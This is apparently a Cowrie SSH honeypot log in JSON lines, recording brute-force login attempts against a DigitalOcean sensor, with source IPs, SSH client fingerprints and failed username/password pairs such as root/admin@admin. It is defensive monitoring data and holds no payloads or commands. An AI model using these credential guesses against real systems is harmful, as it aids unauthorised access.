{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:20.935497Z","src_ip":"185.40.30.168","session":"0adc03048905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r5t","message":"login attempt [git/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:21.496183Z","src_ip":"185.40.30.168","session":"0adc03048905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:22.627668Z","src_ip":"185.40.30.168","session":"0adc03048905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd21ac6dbe49","protocol":"ssh","message":"New connection: 159.203.92.129:45642 (159.203.135.109:22) [session: bd21ac6dbe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:54.125162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:54.156990Z","src_ip":"159.203.92.129","session":"bd21ac6dbe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:54.163539Z","src_ip":"159.203.92.129","session":"bd21ac6dbe49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"ora_root","message":"login attempt [administrator/ora_root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:54.315894Z","src_ip":"159.203.92.129","session":"bd21ac6dbe49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:55.323308Z","src_ip":"159.203.92.129","session":"bd21ac6dbe49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":36510,"dst_ip":"159.203.135.109","dst_port":22,"session":"68f8debbda6c","protocol":"ssh","message":"New connection: 185.40.30.168:36510 (159.203.135.109:22) [session: 68f8debbda6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:11.025685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:11.030112Z","src_ip":"185.40.30.168","session":"68f8debbda6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:11.160683Z","src_ip":"185.40.30.168","session":"68f8debbda6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam1","password":"steam1","message":"login attempt [steam1/steam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:11.725439Z","src_ip":"185.40.30.168","session":"68f8debbda6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:12.859437Z","src_ip":"185.40.30.168","session":"68f8debbda6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":61351,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64f6e218313","protocol":"ssh","message":"New connection: 154.117.199.5:61351 (10.17.0.5:22) [session: d64f6e218313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:33.338234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:33.575201Z","src_ip":"154.117.199.5","session":"d64f6e218313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:33.812950Z","src_ip":"154.117.199.5","session":"d64f6e218313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58456,"dst_ip":"159.203.135.109","dst_port":22,"session":"93ecce77154e","protocol":"ssh","message":"New connection: 159.203.92.129:58456 (159.203.135.109:22) [session: 93ecce77154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:38.223441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:38.228277Z","src_ip":"159.203.92.129","session":"93ecce77154e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:38.232424Z","src_ip":"159.203.92.129","session":"93ecce77154e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"ora_root123","message":"login attempt [administrator/ora_root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:38.245314Z","src_ip":"159.203.92.129","session":"93ecce77154e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:39.252586Z","src_ip":"159.203.92.129","session":"93ecce77154e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":26703,"dst_ip":"159.203.135.109","dst_port":22,"session":"97d16e5488c3","protocol":"ssh","message":"New connection: 125.166.19.90:26703 (159.203.135.109:22) [session: 97d16e5488c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:53.415752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:53.420034Z","src_ip":"125.166.19.90","session":"97d16e5488c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:53.693496Z","src_ip":"125.166.19.90","session":"97d16e5488c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@admin","message":"login attempt [root/admin@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:54.821448Z","src_ip":"125.166.19.90","session":"97d16e5488c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:56.099357Z","src_ip":"125.166.19.90","session":"97d16e5488c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"12700beeb545","protocol":"ssh","message":"New connection: 185.40.30.168:41326 (159.203.135.109:22) [session: 12700beeb545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:59.693999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:59.699716Z","src_ip":"185.40.30.168","session":"12700beeb545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:37:59.828338Z","src_ip":"185.40.30.168","session":"12700beeb545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZF@123456","message":"login attempt [root/ZF@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:00.389789Z","src_ip":"185.40.30.168","session":"12700beeb545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:01.521309Z","src_ip":"185.40.30.168","session":"12700beeb545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51354,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b560a949313","protocol":"ssh","message":"New connection: 159.203.92.129:51354 (159.203.135.109:22) [session: 0b560a949313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:20.580663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:20.585050Z","src_ip":"159.203.92.129","session":"0b560a949313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:20.589275Z","src_ip":"159.203.92.129","session":"0b560a949313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password","message":"login attempt [administrator/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:20.599688Z","src_ip":"159.203.92.129","session":"0b560a949313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:21.606520Z","src_ip":"159.203.92.129","session":"0b560a949313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":57390,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8bb39a7566d","protocol":"ssh","message":"New connection: 185.40.30.168:57390 (159.203.135.109:22) [session: f8bb39a7566d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:49.863887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:49.868832Z","src_ip":"185.40.30.168","session":"f8bb39a7566d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:50.001901Z","src_ip":"185.40.30.168","session":"f8bb39a7566d","protocol":"ssh"}
